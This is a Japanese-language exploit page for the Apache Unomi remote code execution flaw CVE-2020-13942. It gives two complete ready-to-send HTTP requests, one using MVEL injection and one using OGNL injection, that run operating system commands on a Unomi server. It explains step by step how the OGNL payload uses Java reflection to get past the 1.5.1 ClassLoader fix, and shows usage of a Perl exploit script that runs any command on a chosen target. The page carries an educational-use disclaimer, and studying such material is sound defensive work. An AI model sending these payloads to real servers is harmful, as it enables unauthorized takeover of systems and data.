
Apache Unomi CVE-2020-13942: RCE脆弱性
脆弱性に関する元のブログ記事: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
2つのRCEベクターがあります。MVELインジェクションとOGNLインジェクションです。両方のベクターは異なるコードを標的としますが、ペイロードは比較的似ています。 以前のCVE修正 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 はOGNL式の実行を制限しようとしましたが、MVELを完全に見落としていました。CVE-2020-13942はバージョン1.5.1で行われた修正をバイパスします。
以下のHTTPリクエストをBurpSuiteまたはcurlを使用して、Unomiサーバーが公開しているcontext.js/jsonに送信し、RCEを取得します。ターゲットURLとOSコマンドに応じてHostとContent-lengthを変更してください。
両方のPoCで応答に HTTP/1.1 400 Header Folding が返る場合があります。これはペイロード内で \r\n が壊れていることを意味します。もう一度コピー&ペーストしてみてください。
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
OGNL PoCは、バージョン1.5.1で導入されたClassLoader制限をバイパスします。JavaリフレクションAPIを使用すると、評価されるOGNL式を制限するClassLoader.loadClassメソッドをトリガーせずにオブジェクトを作成できます。
ペイロードのOGNL式の内訳:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") はjava.lang.Runtimeクラスオブジェクトを作成します。#thisはコンテキストオブジェクトへの参照です。#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] は、リフレクションを介してRuntimeクラスのメソッドリストを取得し、そのリストからgetRuntimeメソッドを選択します。式の {^ #this.name.equals(\"getRuntime\")} の部分は、名前がgetRuntimeであるメソッドを検索し、条件に一致するメソッドのリストを返します。このリストの最初で唯一のメソッドがgetRuntimeです。#runtimeobject = #runtimemethod.invoke(null,null) はgetRuntime()メソッドを呼び出し、Runtimeオブジェクトを取得します。(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) はRuntimeクラスのメソッドを取得し、メソッドリストから単一のString引数を持つRuntime.exec()を取得します。#execmethod.invoke(#runtimeobject,\"gnome-calculator\") は、指定された引数でRuntime.exec()を呼び出します。POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
基本的な使い方:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
このページで提供されるすべての情報は教育目的のみです。このウェブサイトの情報は、お使いのコンピュータシステムのセキュリティを強化するためにのみ使用されるべきであり、悪意のある攻撃や破壊的な攻撃を引き起こすために使用されるべきではありません。
この情報を悪用して、コンピュータシステムに不正にアクセスしてはなりません。また、所有者からの書面による許可なく、自分が所有していないコンピュータに対してハッキングを試みることは違法であることに注意してください。
このウェブサイトで提供される情報の使用により生じたいかなる直接的または間接的な損害についても、私は責任を負いません。